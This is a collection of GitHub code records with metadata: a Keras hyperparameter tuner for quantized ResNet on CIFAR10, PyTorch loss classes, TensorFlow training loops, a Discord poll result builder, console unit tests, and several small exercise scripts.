hp.Choice('kernelsize2_0', kernelsize_space)\n hp_kernelsize2_1 = hp.Choice('kernelsize2_1', kernelsize_space)\n hp_kernelsize2_2 = hp.Choice('kernelsize2_2', kernelsize_space)\n\n if skip:\n hp_strides0 = hp.Choice('strides0', ['111', '211', '244', '311', '334', '343', '344', '411', '424', '433', '434', '442', '443', '444'])\n hp_strides1 = hp.Choice('strides1', ['111', '122', '133', '144', '212', '224', '313', '414'])\n hp_strides2 = hp.Choice('strides2', ['111', '122', '133', '144', '212', '224', '313', '414'])\n else:\n hp_strides0 = hp.Choice('strides0', stride_space)\n hp_strides1 = hp.Choice('strides1', stride_space)\n hp_strides2 = hp.Choice('strides2', stride_space)\n\n model = resnet_v1_eembc_quantized(input_shape=[32, 32, 3], num_classes=10, l1p=0, l2p=1e-4,\n num_filters=[hp_filters0_0, hp_filters0_1,\n hp_filters1_0, hp_filters1_1,\n hp_filters2_0, hp_filters2_1],\n kernel_sizes=[hp_kernelsize0_0, hp_kernelsize0_1, hp_kernelsize0_2,\n hp_kernelsize1_0, hp_kernelsize1_1, hp_kernelsize1_2,\n hp_kernelsize2_0, hp_kernelsize2_1, hp_kernelsize2_2],\n strides=[hp_strides0,\n hp_strides1,\n hp_strides2],\n avg_pooling=avg_pooling,\n skip=skip,\n logit_total_bits=logit_total_bits, logit_int_bits=logit_int_bits,\n activation_total_bits=activation_total_bits, activation_int_bits=activation_int_bits,\n alpha=1, use_stochastic_rounding=False,\n logit_quantizer=logit_quantizer, activation_quantizer=activation_quantizer,\n final_activation=final_activation\n )\n # compile model\n optimizer = tf.keras.optimizers.Adam(learning_rate=initial_lr)\n model.compile(optimizer=optimizer,\n loss=loss,\n metrics=['accuracy'])\n return model\n\n\ndef main(args):\n\n (X_train, y_train), (X_test, y_test) = cifar10.load_data()\n X_train, X_test = X_train/256., X_test/256.\n\n num_classes = 10\n \n y_train = tf.keras.utils.to_categorical(y_train, num_classes)\n y_test = tf.keras.utils.to_categorical(y_test, num_classes)\n if loss == 'squared_hinge':\n y_train = y_train * 2 - 1 # -1 or 1 for hinge loss \n y_test = y_test * 2 - 1\n\n # define data generator\n datagen = ImageDataGenerator(\n rotation_range=15,\n width_shift_range=0.1,\n height_shift_range=0.1,\n horizontal_flip=True,\n )\n\n tunerClass = getattr(kerastuner.tuners, args.tuner)\n hp = kerastuner.HyperParameters()\n if args.stacks == 2:\n hp.Fixed('filters2_0', 0)\n hp.Fixed('filters2_1', 0)\n hp.Fixed('kernelsize2_0', 0)\n hp.Fixed('kernelsize2_1', 0)\n hp.Fixed('kernelsize2_2', 0)\n hp.Fixed('strides2', '')\n elif args.stacks == 1:\n hp.Fixed('filters1_0', 0)\n hp.Fixed('filters1_1', 0)\n hp.Fixed('filters2_0', 0)\n hp.Fixed('filters2_1', 0)\n hp.Fixed('kernelsize1_0', 0)\n hp.Fixed('kernelsize1_1', 0)\n hp.Fixed('kernelsize1_2', 0)\n hp.Fixed('kernelsize2_0', 0)\n hp.Fixed('kernelsize2_1', 0)\n hp.Fixed('kernelsize2_2', 0)\n hp.Fixed('strides1', '')\n hp.Fixed('strides2', '')\n\n tuner = tunerClass(\n build_model,\n objective='val_accuracy',\n max_trials=args.max_trials,\n project_name=args.project_dir,\n hyperparameters=hp,\n overwrite=True)\n\n datagen.fit(X_train)\n\n print(tuner.search_space_summary())\n\n from tensorflow.keras.callbacks import LearningRateScheduler\n lr_schedule_func = get_lr_schedule_func(initial_lr, lr_decay)\n\n callbacks = [LearningRateScheduler(lr_schedule_func, verbose=1)]\n\n tuner.search(datagen.flow(X_train, y_train, batch_size=batch_size),\n epochs=epochs,\n validation_data=(X_test, y_test),\n callbacks=callbacks,\n verbose=1\n )\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-t', '--tuner', choices=['RandomSearch', 'BayesianOptimization'], default=\"RandomSearch\", help=\"specify tuner\")\n parser.add_argument('-p', '--project-dir', type=str, default='rs_resnet_v1_eembc', help='specify project dir')\n parser.add_argument('-m', '--max-trials', type=int, default=100, help='specify max trials')\n parser.add_argument('-s', '--stacks', type=int, default=3, help='specify number of stacks')\n\n args = parser.parse_args()\n\n main(args)\n","repo_name":"hls4ml-finn-mlperftiny/CIFAR10","sub_path":"hls4ml/bayesian.py","file_name":"bayesian.py","file_ext":"py","file_size_in_byte":6841,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"25459226016","text":"import os\nimport WaveDefense\nimport gym\n\n\nenv = gym.make(\"WaveDefense-v0\") # for image-based state representations\n#env = gym.make(\"WaveDefenseNoReward-v0\") # for image-based state representations and no reward distribution\n#env = gym.make(\"WaveDefense-v1\") # for tabular state representations\n\n# seeding\nenv.seed(10)\n\nenv.reset()\ndone = False\n\nsteps = 0\n\nwhile done is False:\n steps += 1\n obs, rew, done, info = env.step(env.action_space.sample()) # take a random action\n\nprint(steps)\nenv.close()","repo_name":"roger-creus/Wave-Defense-Baselines","sub_path":"src/random_agent.py","file_name":"random_agent.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"39608822386","text":"#!/usr/bin/env python\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom dorec.core.ops.tensor import probalize\nfrom dorec.core import LOSSES\n\n\n@LOSSES.register()\nclass WeightedCrossEntropy(nn.Module):\n \"\"\"Weighted Cross Entropy loss\"\"\"\n\n def __init__(\n self,\n ignore_label=-1,\n weight=None,\n align_corners=True,\n balance_weights=[1],\n use_softmax=True\n ):\n super().__init__()\n self.align_corners = align_corners\n self.balance_weights = balance_weights\n self.ignore_label = ignore_label\n self.weight = weight\n self.use_softmax = use_softmax\n\n def _forward(self, preds, targets):\n loss = F.binary_cross_entropy(\n preds, targets, weight=self.weight)\n return loss\n\n def forward(self, preds, targets):\n preds = probalize(preds)\n\n if isinstance(preds, torch.Tensor):\n preds = [preds]\n\n assert len(self.balance_weights) == len(\n preds), \"length of balence_weights and preds must be same\"\n\n return sum([w * self._forward(x, targets) for (w, x) in zip(self.balance_weights, preds)])\n\n\n@LOSSES.register()\nclass CrossEntropy(nn.Module):\n \"\"\"Cross entropy loss\n Args:\n weight\n use_softmax (bool)\n \"\"\"\n\n def __init__(self, weight=None, use_softmax=True):\n super(CrossEntropy, self).__init__()\n self.weight = weight\n self.use_softmax = use_softmax\n self.xe = nn.CrossEntropyLoss(weight=self.weight)\n\n def forward(self, preds, targets):\n \"\"\"\n Args:\n preds (torch.Tensor): (B, C, H, W)\n targets (torch.Tensor): (B, C, H, W)\n Returns:\n loss (torch.Tensor)\n \"\"\"\n preds = probalize(preds, use_softmax=self.use_softmax)\n preds = torch.topk(preds, k=1, dim=1).indices.squeeze(1)\n targets = torch.topk(targets, k=1, dim=1).indicessqueeze(1)\n\n loss = self.xe(preds, targets)\n\n return loss\n\n\n@LOSSES.register()\nclass OhemCrossEntropy(nn.Module):\n def __init__(\n self,\n ignore_label=-1,\n thresh=0.7,\n min_kept=100000,\n weight=None,\n align_corners=True,\n balance_weights=[1],\n use_softmax=True\n ):\n super(OhemCrossEntropy, self).__init__()\n self.thresh = thresh\n self.min_kept = max(1, min_kept)\n self.weight = weight\n self.align_corners = align_corners\n self.balance_weights = balance_weights\n self.ignore_label = ignore_label\n self.criterion = nn.CrossEntropyLoss(\n weight=weight, ignore_index=ignore_label, reduction=\"none\")\n self.use_softmax = use_softmax\n\n def _ce_forward(self, preds, targets):\n loss = self.criterion(preds, targets)\n return loss\n\n def _ohem_forward(self, preds, targets):\n pixel_losses = self.criterion(preds, targets).contiguous().view(-1)\n mask = targets.contiguous().view(-1) != self.ignore_label\n\n tmp_targets = targets.clone()\n tmp_targets[tmp_targets == self.ignore_label] = 0\n pred = preds.gather(1, tmp_targets.unsqueeze(1))\n pred, ind = (\n pred.contiguous().view(-1, )[mask].contiguous().sort()\n )\n min_value = pred[min(self.min_kept, pred.numel() - 1)]\n threshold = max(min_value, self.thresh)\n\n pixel_losses = pixel_losses[mask][ind]\n pixel_losses = pixel_losses[pred < threshold]\n\n return pixel_losses.mean()\n\n def forward(self, preds, targets):\n preds = probalize(preds, use_softmax=self.use_softmax)\n preds = torch.topk(preds, k=1, dim=1).indices.squeeze(1)\n targets = torch.topk(targets, k=1, dim=1).indices.squeeze(1)\n\n if isinstance(preds, torch.Tensor):\n preds = [preds]\n\n assert len(self.balance_weights) == len(\n preds), \"length of balance_weights and preds must be same\"\n\n functions = [self._ce_forward] * \\\n (len(self.balance_weights) - 1) + [self._ohem_forward]\n\n return sum([w * func(x, targets) for (w, x, func) in zip(self.balance_weights, preds, functions)])\n","repo_name":"ktro2828/dorec","sub_path":"dorec/losses/common/crossentropy.py","file_name":"crossentropy.py","file_ext":"py","file_size_in_byte":4195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14540806455","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Author : Jerry.Shi\n# File : train_evaluate.py\n# PythonVersion: python3.6\n# Date : 2019/6/6 上午11:52\n# IDE : PyCharm\n\n\"\"\"Define train and evaluate graph and sess\"\"\"\nimport logging\nimport tensorflow as tf\nfrom util_tools import save_dict_json\nfrom tqdm import trange\nimport numpy as np\nimport os\n\n\ndef train_sess(sess, model_spec, num_steps, writer, params):\n \"\"\"\n Define train graph\n :param sess: tf.Session\n :param model_spec: (Dict) which contains graph operations or nodes needed for model training\n :param num_steps: number of train steps\n :param writer: tf.summary writer\n :param params: (Object), Parameters of models and datasets\n :return:\n \"\"\"\n\n # Step1, Get relevant graph operations or nodes needed for training\n train_op = model_spec['train_op']\n loss = model_spec['loss']\n update_metrics = model_spec['update_metrics'] # loop over all dataset\n summary_op = model_spec['summary_op']\n metrics = model_spec['metrics']\n global_step = tf.train.get_or_create_global_step() # get global train step\n\n # Step2, initialize variables\n sess.run(model_spec['metrics_init_op']) # metrics op\n sess.run(model_spec['iterator_init_op']) # iterator op\n\n # Step3, loop train steps\n # use tqdm trange as process bar\n t = trange(num_steps)\n for i in t:\n # write summary after summary_steps\n if i % params.save_summary_steps == 0:\n _, loss_val, _, summary_val, step_val = sess.run([train_op, loss, update_metrics,\n summary_op, global_step])\n writer.add_summary(summary_val, step_val)\n else:\n _, _, loss_val = sess.run([train_op, update_metrics, loss])\n t.set_postfix(loss='{:05.3f}'.format(loss_val))\n\n # Step4 print metrics\n metric_val_tensor = {k: v[0] for k, v in metrics.items()}\n metric_vals = sess.run(metric_val_tensor)\n metric_vals_str = ' ; '.join('{}: {:05.3f}'.format(k,v) for k, v in metric_vals.items())\n logging.info('- Train Metrics: '+ metric_vals_str)\n\n\ndef eval_sess(sess, model_spec, num_steps, writer=None, params=None):\n \"\"\"\n Define evaluate graph\n :param sess: tf.Session\n :param model_spec: (Dict) which contains graph operations or nodes needed for model training\n :param num_steps: number of evaluate steps\n :param writer: tf.summary writer, will create new if none\n :param params: (Object), Parameters of models and datasets\n :return:\n \"\"\"\n\n # Step1, get relevant graph operations or nodes for model evaluation\n update_metrics = model_spec['update_metrics']\n eval_metrics = model_spec['metrics']\n global_step = tf.train.get_or_create_global_step()\n\n # Step2, initialize operations or nodes\n sess.run(model_spec['iterator_init_op']) # dataset iterator op\n sess.run(model_spec['metrics_init_op']) # metrics op\n\n # Step3, loop evaluate steps to calculate metrics\n for _ in range(num_steps):\n sess.run(update_metrics)\n\n # Step 4, get metrics values\n metrics_val_tensors = {k: v[0] for k, v in eval_metrics.items()}\n metrics_vals = sess.run(metrics_val_tensors)\n metrics_vals_str = ' ; '.join('{}: {:05.3f}'.format(k, v) for k, v in metrics_vals.items())\n logging.info(\"- Eval Metrics:\" + metrics_vals_str)\n\n # Step5, write summary\n if writer is not None:\n global_steps_val = sess.run(global_step)\n for tag, val in metrics_vals.items():\n summ = tf.Summary(value=[tf.Summary.Value(tag=tag, simple_value=val)])\n writer.add_summary(summ, global_steps_val)\n return metrics_vals\n\n\ndef evaluate(model_spec, model_dir, params, restore_from):\n \"\"\"\n\n :param model_spec:\n :param model_dir:\n :param params:\n :param restore_from:\n :return:\n \"\"\"\n # Step1, initialize tf.train.Saver()\n saver = tf.train.Saver()\n\n # Step2, create session and initialize variables\n with tf.Session() as sess:\n # initialize all variables\n sess.run(model_spec['variable_init_op'])\n\n # Step3, restore models from `restore_from`\n save_path = os.path.join(model_dir, restore_from)\n if os.path.isdir(save_path):\n save_path = tf.train.latest_checkpoint(save_path)\n saver.restore(sess, save_path)\n\n # Step4, evaluate models with eval_sess\n num_steps = (params.dev_size + params.batch_size - 1) // params.batch_size\n metrics = eval_sess(sess, model_spec, num_steps)\n\n # Step5, write metric result to file\n metrics_names = '_'.join(restore_from.split('/'))\n save_path = os.path.join(model_dir, \"metrics_eval_{}.json\".format(metrics_names))\n save_dict_json(metrics, save_path)\n\n\ndef train_evaluate(train_model_spec, eval_model_spec, model_dir, params, restore_from=None):\n \"\"\"\n Train the model and evaluate model in every epoch.\n :param train_model_spec:(dict), contains graph operations or nodes needed for model train\n :param eval_model_spec: (dict), contains graph operations or nodes needed for model evaluate\n :param model_dir: (string), the path where to save model\n :param params: (Object) Parameters, contains hyperparameters and model parameters\n :param restore_from: (String), directory or file containing weights to restore the graph\n :return:\n \"\"\"\n # Step1, Initialize tf.Saver instances to save weights during training\n last_saver = tf.train.Saver()\n best_saver = tf.train.Saver(max_to_keep=1) # only keep 1 best checkpoints (best on eval)\n begin_at_epoch = 0 # record last trained epoch\n\n # Step2, create session and initialize variables\n with tf.Session() as sess:\n sess.run(train_model_spec['variable_init_op'])\n sess.run(tf.global_variables_initializer())\n\n # Step3, reload previous trained model or not\n if restore_from is not None:\n logging.info('Restoring parameters from {}'.format(restore_from))\n if os.path.isdir(restore_from):\n restore_from = tf.train.latest_checkpoint(restore_from)\n begin_at_epoch = int(restore_from.split('-')[-1])\n last_saver.restore(sess, restore_from)\n\n # Step4, define summary writer\n train_writer = tf.summary.FileWriter(os.path.join(model_dir, 'train_summaries'), sess.graph)\n eval_writer = tf.summary.FileWriter(os.path.join(model_dir, 'eval_summaries'), sess.graph)\n\n # Step5, train epochs\n best_eval_acc = 0.0\n for epoch in range(begin_at_epoch, begin_at_epoch + params.epochs):\n # Step6, train sess\n num_steps = (params.train_size + params.batch_size - 1) // params.batch_size\n train_sess(sess, train_model_spec, num_steps, train_writer, params)\n\n # Step7, save weights\n last_save_path = os.path.join(model_dir, 'last_weights', 'after-epoch')\n\n last_saver.save(sess, last_save_path, global_step=epoch+1)\n\n # Step8, evaluate model\n num_steps = (params.dev_size + params.batch_size - 1) // params.batch_size\n metrics = eval_sess(sess, eval_model_spec, num_steps, eval_writer)\n\n # if best eval, best save to path\n eval_acc = metrics['accuracy']\n if eval_acc >= best_eval_acc:\n best_eval_acc = eval_acc\n\n # Step9, save best model\n best_save_path = os.path.join(model_dir, 'best_weights', 'after-epoch')\n best_save_path = best_saver.save(sess, best_save_path, global_step=epoch+1)\n\n logging.info('- Found new best accuracy , saving in {}'.format(best_save_path))\n best_weight_json = os.path.join(model_dir, 'metrics_eval_last_weights.json')\n save_dict_json(metrics, best_weight_json)\n\n # save latest eval metrics in a json file in the model dir\n latest_json_path = os.path.join(model_dir, 'metrics_eval_last_weights.json')\n save_dict_json(metrics, latest_json_path)\n\n\n\n","repo_name":"syw2014/DeepNLP-models","sub_path":"codes/DeepFM/train_evaluate.py","file_name":"train_evaluate.py","file_ext":"py","file_size_in_byte":8081,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"9687247428","text":"from bot_globals import *\nimport discord\n\ndef get_result_text(server_members_react_dict, author, question, o1, o2):\n # Create a dictionary to store reaction counts\n reaction_counts_dict = {emoji: 0 for emoji in REACT_EMOJIS}\n\n percent_dict = {emoji: 0.0 for emoji in REACT_EMOJIS}\n for step in range(len(REACT_EMOJIS)):\n percent_dict[REACT_EMOJIS[step]] = (100.0 / (float(len(REACT_EMOJIS)-1)) * step)\n\n total_voters = 0\n max_count = 0\n for user_key, reaction_value in server_members_react_dict.items():\n reaction_counts_dict[reaction_value.emoji] += 1\n max_count = max(max_count, reaction_counts_dict[reaction_value.emoji])\n total_voters+=1\n total_percent = 0\n try:\n star_per_count = float(MAX_STARS) / float(max_count)\n except ZeroDivisionError:\n star_per_count = 0\n \n result_text = \"\"\n for emoji_key, percent_value in percent_dict.items():\n total_percent+=percent_value * reaction_counts_dict[emoji_key]\n result_text+=f\"{emoji_key}`{'~{:6.2f}:'.format(percent_value)}\"\n result_text+=\"#\"*(int(star_per_count * reaction_counts_dict[emoji_key]))+\"`\\n\"\n try:\n final_p = total_percent/total_voters\n except ZeroDivisionError:\n final_p = 50.0\n outcome1 = f\"{'{:6.2f}%'.format(100 - final_p)}\"\n outcome2 = f\"{'{:6.2f}%'.format(final_p)}\"\n\n result_embed = discord.Embed(\n title=\"Bayesian Poll Results\",\n description=question,\n color=0x5900ff \n )\n result_embed.set_author(name=f\"{author} asked:\")\n result_embed.add_field(name=f\"{REACT_EMOJIS[0]} {outcome1}\", value=o1, inline=True)\n if R_E_ODD:\n result_embed.add_field(name=f\"{REACT_EMOJIS[R_E_HALF]} \", value=\"Neutral\", inline=True)\n result_embed.add_field(name=f\"{REACT_EMOJIS[-1]} {outcome2}\", value=o2, inline=True)\n result_embed.add_field(name=\"Outome\", value=result_text, inline=False)\n else_text = f\"WTF guys, vote goddamn you, what\\'s wrong with you? {'Just one vote?!' if total_voters == 1 else 'NO VOTES?!?'} The death of democracy is not an assassination from ambush. It is a slow extinction from apathy, indifference, and undernourishment. You absolute monsters. Shame on every last one of you\"\n result_embed.set_footer(text=f\"{total_voters} {'person' if total_voters == 1 else 'people'} voted. {'Thanks to everyone who voted!' if total_voters > 1 else else_text}\")\n\n return result_embed","repo_name":"sampanes/Bayesian-Polling-Discord","sub_path":"process_output.py","file_name":"process_output.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42897271982","text":"from . import parser\nfrom .. import util\n\n\nclass Attr(parser.Parser):\n\n def __init__(self, value, attr_type=None):\n if value in (None, parser.UNUSED):\n raise TypeError('May not assign {} to Attr()'.format(value))\n if attr_type is parser.AttrType.UNUSED:\n raise ValueError('Attr may not be UNUSED')\n self.__value = value\n if attr_type is None:\n if isinstance(value, str):\n self.__attr_type = parser.AttrType.STRING\n elif isinstance(value, tuple):\n self.__attr_type = parser.AttrType.TUPLE\n else:\n self.__attr_type = parser.AttrType.OBJECT\n else:\n attr_type.check_compatible(value)\n self.__attr_type = attr_type\n\n @property\n def attr_type(self):\n return self.__attr_type\n\n @property\n def value(self):\n return self.__value\n\n def _parse(self, state):\n state.commit(self.__value)\n\n\n@util.singleton\nclass eoi(parser.Parser):\n\n @property\n def attr_type(self):\n return parser.AttrType.UNUSED\n\n def _parse(self, state):\n if state.read(1) == '':\n state.commit()\n\n\n@util.singleton\nclass eps(parser.Parser):\n\n @property\n def attr_type(self):\n return parser.AttrType.UNUSED\n\n def _parse(self, state):\n state.succeed()\n\n","repo_name":"slobberchops/booze","sub_path":"src/booze/gin/aux.py","file_name":"aux.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34182247726","text":"n, k = map(int, input().split())\nwons = []\ncnt = 0\n\nfor _ in range(n):\n wons.append(int(input()))\n\nwons = [i for i in wons if i <= k]\nwons.sort(reverse=True)\n\nfor won in wons:\n cnt += (k//won)\n k %= won\n\nprint(cnt)","repo_name":"sayskpays/algorithm","sub_path":"python_algorithm/dongbin_algorithm/greedy/baekjoon/_11047.py","file_name":"_11047.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8486461018","text":"#!/usr/bin/python3\n\"\"\"\nUnit tests for the console.py functionality\n\"\"\"\nimport unittest\nfrom models.engine.file_storage import FileStorage\nfrom console import HBNBCommand\n\n\nclass TestWrongSyntax(unittest.TestCase):\n \"\"\"\n Makes sure that bad syntax doesn't affect any\n storage nor instances.\n \"\"\"\n def test_arong_syntax(self):\n \"\"\"\n The 'HBNBCommand.create' shouldn't save anything\n to the 'FileStorage' if the class name is missing,\n and just the parenthesis of the class' __init__\n are in the line.\n\n (and should also print: \"*** Unknown syntax: \")\n \"\"\"\n storage = FileStorage()\n test_instance = HBNBCommand()\n\n for bad_line in (\"()\", \";\", \"^%&^\", \"** cLasS mISsiNG **\", \"?\",\n \"# this isn't a comment!!!\", \"\"):\n # (that \"\" up there isn't actually the REAL\n # , it's only its string representation, and\n # therefore an impostor)\n\n # And that comment isn't a comment\n\n # (i think)\n previous_storage = storage.all()\n test_instance.do_create(bad_line)\n storage_after = storage.all()\n\n self.assertDictEqual(previous_storage, storage_after)\n\nclass TestDoEOF(unittest.TestCase):\n \"\"\"\n Tests the 'HBNBCommand.do_EOF' method.\n \"\"\"\n def test_worng_arguments(self):\n \"\"\"\n Tests if TypeError is raised when the wrong\n amount of arguments are fed into\n 'HBNBCommand.do_EOF'.\n \"\"\"\n test_instance = HBNBCommand()\n\n with self.assertRaises(TypeError):\n test_instance.do_EOF()\n\n with self.assertRaises(TypeError):\n test_instance.do_EOF(\"two\", \"arguments\")\n \n def test_output(self):\n \"\"\"\n Tests if 'HBNBCommand.do_EOF' returns True,\n and causes the cmd to stop when inputting\n .\n \"\"\"\n test_instance = HBNBCommand()\n\n self.assertEqual(test_instance.do_EOF(\"any\"), True)\n\n\nclass TestEmptyLine(unittest.TestCase):\n \"\"\"\n Tests 'HBNBCommand.emptyline'.\n \"\"\"\n def test_output(self):\n \"\"\"\n Makes sure 'HBNBCommand.do_EOF' returns False.\n \"\"\"\n test_instance = HBNBCommand()\n self.assertEqual(test_instance.emptyline(), False)\n\n\nclass TestDoCreate(unittest.TestCase):\n \"\"\"\n Tests 'HBNBCommand.do_create, which is\n supposed to create new BaaseModel instances\n (or the instances of classes that inherit from\n 'BaseModel') and makes sure that constructing\n the objects works.\n \"\"\"\n def test_no_class_name(self):\n \"\"\"\n \"create\" followed by nothing line should\n not save any new objects into the FileStorage\n object collection, nor the file.\n\n (and also should print: \"** class name missing **\")\n \"\"\"\n storage = FileStorage()\n test_instance = HBNBCommand()\n\n previous_storage = storage.all()\n test_instance.do_create(\"create\")\n storage_after = storage.all()\n\n self.assertDictEqual(previous_storage, storage_after)\n\n def test_correct_type(self):\n \"\"\"\n The 'HBNBCommand.create' method should create a new\n instance of 'BaseModel' (or 'BaseModel's children)\n and call its 'save' method, which saves\n itself into the 'FileStorage' class, through\n the 'storage' variable.\n \"\"\"\n storage = FileStorage()\n test_instance = HBNBCommand()\n\n previous_storage = storage.all()\n test_instance.do_create(\"BaseModel()\")\n storage_after = storage.all()\n\n difference = {name: obj for name, obj in storage_after.items() if not (name in previous_storage)}\n\n self.assertEqual(len(difference), 1)\n new_key = difference.keys()[0]\n self.assertEqual(type(new_key), str)\n self.assertTrue(new_key.startswith(\"BaseModel\"))\n\n\nclass TestDoAll(unittest.TestCase):\n pass","repo_name":"GABETROLL/holbertonschool-AirBnB_clone","sub_path":"tests/test_console.py","file_name":"test_console.py","file_ext":"py","file_size_in_byte":3986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3390541248","text":"class Solution:\n def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n res = []\n if len(intervals) == 0:\n return res\n intervals.sort(key = lambda iv : iv[0]) # by starting time; reasoning is that the \"earliest\" starting interval must belong to a group, \n # we need to extend this group as far as it can go\n start = intervals[0][0]\n end = intervals[0][1]\n for iv in intervals:\n if iv[0] <= end: # we can continue this chain\n end = max(end, iv[1])\n else: # start a new chain\n res.append([start,end])\n start = iv[0] \n end = iv[1]\n res.append([start,end])\n return res\n","repo_name":"apluscs/Leetcode","sub_path":"0056. Merge Intervals.py","file_name":"0056. Merge Intervals.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32084286953","text":"from turtle import bgcolor\nimport PySimpleGUI as sg\nsg.theme('Reddit')\n\n\nclass TelaInicial():\n\n def __init__(self, controlador_sistema):\n self.__controlador_sistema = controlador_sistema\n self.__janela = None\n self.inicializar_componentes()\n\n def inicializar_componentes(self, dados_disciplinas=[]):\n\n cartoes = self.gerar_cartoes(dados_disciplinas)\n\n layout = [\n [sg.Text('Sistema de Gestão Acadêmica', font=\"bold\",\n justification=\"center\", expand_x=True)],\n [sg.Text('Olá, [Aluno]! O que vamos fazer hoje?')],\n [sg.Text(\"Disciplinas\")],\n cartoes,\n [sg.Button('Emitir Relatório'), sg.Button(\n 'Cadastrar Disciplina'), sg.Button('Finalizar Sistema', button_color=\"red\")]\n \n ]\n\n self.__janela = sg.Window(\n 'TelaInicial', default_element_size=(40, 1)).Layout(layout)\n\n def abrir(self, dados_disciplinas=[]):\n self.inicializar_componentes(dados_disciplinas)\n botao, valores = self.__janela.Read()\n return botao\n\n def close(self):\n self.__janela.Close()\n\n def mostrar_mensagem(self, titulo: str, mensagem: str):\n sg.Popup(titulo, mensagem)\n\n def gerar_cartoes(self, dados_disciplinas):\n\n frame_rows = []\n\n for index, disciplina in enumerate(dados_disciplinas):\n\n if disciplina['ativo'] == \"Sim\":\n frame_rows.append(sg.Frame(disciplina[\"nome\"], [\n [sg.Text(\"\")],\n [sg.Text(\"Média Parcial: -\")],\n [sg.Text(\"Faltas Remanescentes: -\")],\n [sg.Text(\"Risco de Reprovação: -\")],\n [sg.Text(\"Próxima Entrega: -\")],\n [sg.Button(\"Ver mais\", key=index)]],\n size=(200, 200),\n relief=\"raised\", # raised, ridge, solid\n element_justification=\"center\",\n vertical_alignment=\"center\"))\n\n return frame_rows\n","repo_name":"Beilfuss/Controle-de-Semestre-Academico-Pessoal","sub_path":"MVC/limite/tela_inicial.py","file_name":"tela_inicial.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42258321565","text":"import math\na = int(input('a - '))\nb = int(input('b - '))\nc = int(input('c - '))\n\nd = b**2 - 4*a*c\nprint('D =',d)\nif d<0:\n print('Решения нет')\nelif d==0:\n print('Корень уравнения =', -(b/(2*a)))\nelif d>0:\n print('Корень №1 -', ((-b+math.sqrt(d))/(2*a)),\n 'Корень №2 -',((-b-math.sqrt(d))/(2*a)))","repo_name":"daniilkapitonov/KDD_Python_65-3","sub_path":"Lesson 1/num4.py","file_name":"num4.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"1565446100","text":"import pandas as pd\n\n# list of files\nfiles = ['file 1', 'file n']\n\n# initializing the Final dict\nfresh_dic = {}\n\n# looping through the Files\nfor file in files:\n\n\t# Getting the data\n\tdata = pd.read_excel(file)\n\n\t# Turning data to Dataframe\n\tdf = pd.DataFrame(data, columns=['Référence', 'Designation'])\n\n\t# Turning DataFrame to dict\n\tdic = df.to_dict()\n\n\t# getting the Référence dict\n\tréférence = list(dic.values())[0]\n\n\t# getting the products name dict\n\tproducts = list(dic.values())[1]\n\n\t# looping through the dicts to clarify them\n\tfor i in range(0, len(products)):\n\t\tkey = référence[i]\n\t\tvalue = products[i]\n\n\t\tfresh_dic[key] = value\n\n# Saving the Final Data into a TXT file\nf = open(\"fresh_dic.txt\", \"a\")\nf.write(str(fresh_dic))\nf.close()","repo_name":"YounesDjelloul/collection-of-scripts","sub_path":"excel_table_to_dict.py","file_name":"excel_table_to_dict.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71061500570","text":"import os\nimport tensorflow as tf\nfrom PIL import Image #注意Image,后面会用到\n#import matplotlib.pyplot as plt\nimport numpy as np\n\n# #将TFrecord文件转化为JPG格式图片\n\n\ndef getdata():\n # x_data = []\n # y_data = []\n filename_queue = tf.train.string_input_producer(\n [\"tfrecord_train.tfrecords\"]) #读入流中\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(filename_queue) #返回文件名和文件\n features = tf.parse_single_example(serialized_example,\n features={\n 'label':\n tf.FixedLenFeature([], tf.int64),\n 'img_raw':\n tf.FixedLenFeature([], tf.string),\n }) #取出包含image和label的feature对象\n image = tf.decode_raw(features['img_raw'], tf.uint8)\n image = tf.reshape(image, [100, 100, 3])\n label = tf.cast(features['label'], tf.int32)\n with tf.Session() as sess: #开始一个会话\n init_op = tf.initialize_all_variables()\n sess.run(init_op)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n for i in range(265):\n example, l = sess.run([image, label]) #在会话中取出image和label\n # img=Image.fromarray(example, 'RGB')#这里Image是之前提到的\n # img.save(cwd+str(i)+'_''Label_'+str(l)+'.jpg')#存下图片\n print(example, l)\n # x_data.append(example)\n # y_data.append(l)\n coord.request_stop()\n coord.join(threads)\n sess.run(init_op)\n # y_data = sess.run(tf.one_hot(y_data, 3))\n # return x_data, y_data\n\n\nif __name__ == '__main__':\n # x, y = getdata()\n # print(x.shape)\n # print(y.shape)\n getdata()","repo_name":"Tender2233/AmiyaJudge","sub_path":"code/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} 